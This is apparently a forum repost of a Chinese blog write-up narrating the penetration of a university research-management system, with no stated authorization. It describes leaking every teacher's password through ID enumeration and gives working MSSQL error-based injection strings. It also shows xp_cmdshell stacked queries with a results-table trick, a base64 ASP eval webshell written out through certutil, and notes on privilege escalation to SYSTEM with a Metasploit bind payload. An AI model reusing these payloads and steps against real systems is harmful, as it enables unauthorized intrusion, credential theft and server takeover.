安全矩阵

 找回密码
 立即注册
搜索
查看: 1144|回复: 0

记一次校内的XX系统渗透

[复制链接]

65

主题

65

帖子

241

积分

中级会员

Rank: 3Rank: 3

积分
241
发表于 2022-10-8 19:27:35 | 显示全部楼层 |阅读模式

记一次校内的XX系统渗透 (qq.com)
文章来源:guokeya
原文地址:https://guokeya.github.io/post/vEdQgLooM/
正文
首先进入主页是这个样子


F12也没找到啥接口。爆破也没出来。注入也无。。。。陷入僵局。然后继续翻IP。搜到一个人力资源管理系统


F12有惊喜,这里背景图片居然是download+id。


然后顺势遍历一波ID。TM居然拿到了全校老师的账号密码?????

拿到账号密码,回去科研管理系统登陆一波所有功能都点一遍,熟悉下环境


看这URL。。有点熟悉。这套系统还是Asp的。。后端应该就是IIS+Asp+SqlServer


熟悉了下语句,后端应该是

select xxxx from xxxx where 1=1 +and+left(CheckResult,2)>=12++and+(*,*+AllUsers+*,*+like+*~,10432,~*+)+ and ProjLevel=*03*
上语句,看看能不能报错注入。


成功带出数据,然后就查当前用户(dbo),查库查表

查库trWhere=1=convert(int,(db_name()))--查版本信息strWhere=1=convert(int,(@@version))--获取数据库strWhere=1=convert(int,(select name from master..sysdatabases for xml path))--碰到mssql,那必得试一波XP_CMDSHELL

           

trWhere=1=0;exec master..xp_cmdshell 'whoami';--
啊这没回显。


用dnslog验证下。。这里简单说一下坑点

exec master..xp_cmdshell 'ping xxxxxxx';
注:虽然接到了请求。但是请求的IP查出来是google的节点服务器????不去ping,又接不到请求。。就迷惑。

然后继续搜文件,发现可以创建数据表,把xp_cmdshell的执行结果写入数据表
​​​​​​​
trWhere=1=0;CREATE TABLE tt_tmp (id int identity(1,1),constraint pkid primary key (id),tmp1 varchar(8000));--//创建一个自增表。等会就可以通过id去查询结果。这个web。只能输出一条结果。而Mssql又没有limit 1,1这种具体读第N条数据的语句。只有TOP 2。返回两条数据trWhere=1=0;insert into tt_tmp(tmp1) exec master..xp_cmdshell 'whoami';--//写入命令执行的结果trWhere=1=(select  tmp1 from tt_tmp where id=1)--//通过id查询Mssql的xp_cmdshell执行时,会把\n单独一行。。所以这里用ID具体查询。


执行下whoami,发现是System权限,那么直接写个webshell。之前用certutil请求VPS,没收到,DNS也迷惑,感觉是不出网,学生网段和服务器网段也不能直通。。

只想到写shell了,首先dir c:\ D:\ e:\,发现e:\科研管理系统感觉就是web目录,然而。。各种奇奇怪怪的编码问题。这里一开始用的是
​​​​​​​
for /r e:\\ %i in (Login.aspx) do @echo %i然后就可以列出e:\所有目录。一个个慢慢找咯虽然找到了Web目录,我还是解决不了这个编码问题,进都进不去,那咋写shell???

正解:URL输入的是UTF-8,服务端却是GBK,所以嘚转一下。解密后URL编码传入,这里感谢123qwer大师傅的指点。
base64.b64encode("科研管理系统".encode("gbk"))
然后继续找啊找,发现了web目录


然后写shell又被恶心到了,xp_cmdshell的单引号不解析我的URL编码,但是双引号解析????这我记得是浏览器会自动解析的啊。。

然后asp一句话又有单引号,尖括号特殊字符

<%eval request("pass")%>
这我直接自闭,整了半天,要么就是直接报错,要么就是写入的文件没引号了。

最后想到看过的一篇文章,利用certutil转码写入文件
​​​​​​​
echo PCVleGVjdXRlKHJlcXVlc3QoInBhc3MiKSklPg== > web目录\sorry.txtcertutil -decode web目录\sorry.txt  web目录\sorry.asp直接用base64解码写入了,省去了很多烦恼当我访问时,却是500??然后尝试用菜刀链接了下,居然可以连。。之后就随便整了。

Server2008补丁很少,可以用exp直接提权,或者xp_cmdshell是system权限,传个bind msf马,xp_cmdshell执行下我们去连就拿到system了。




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 12:48 , Processed in 0.016233 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表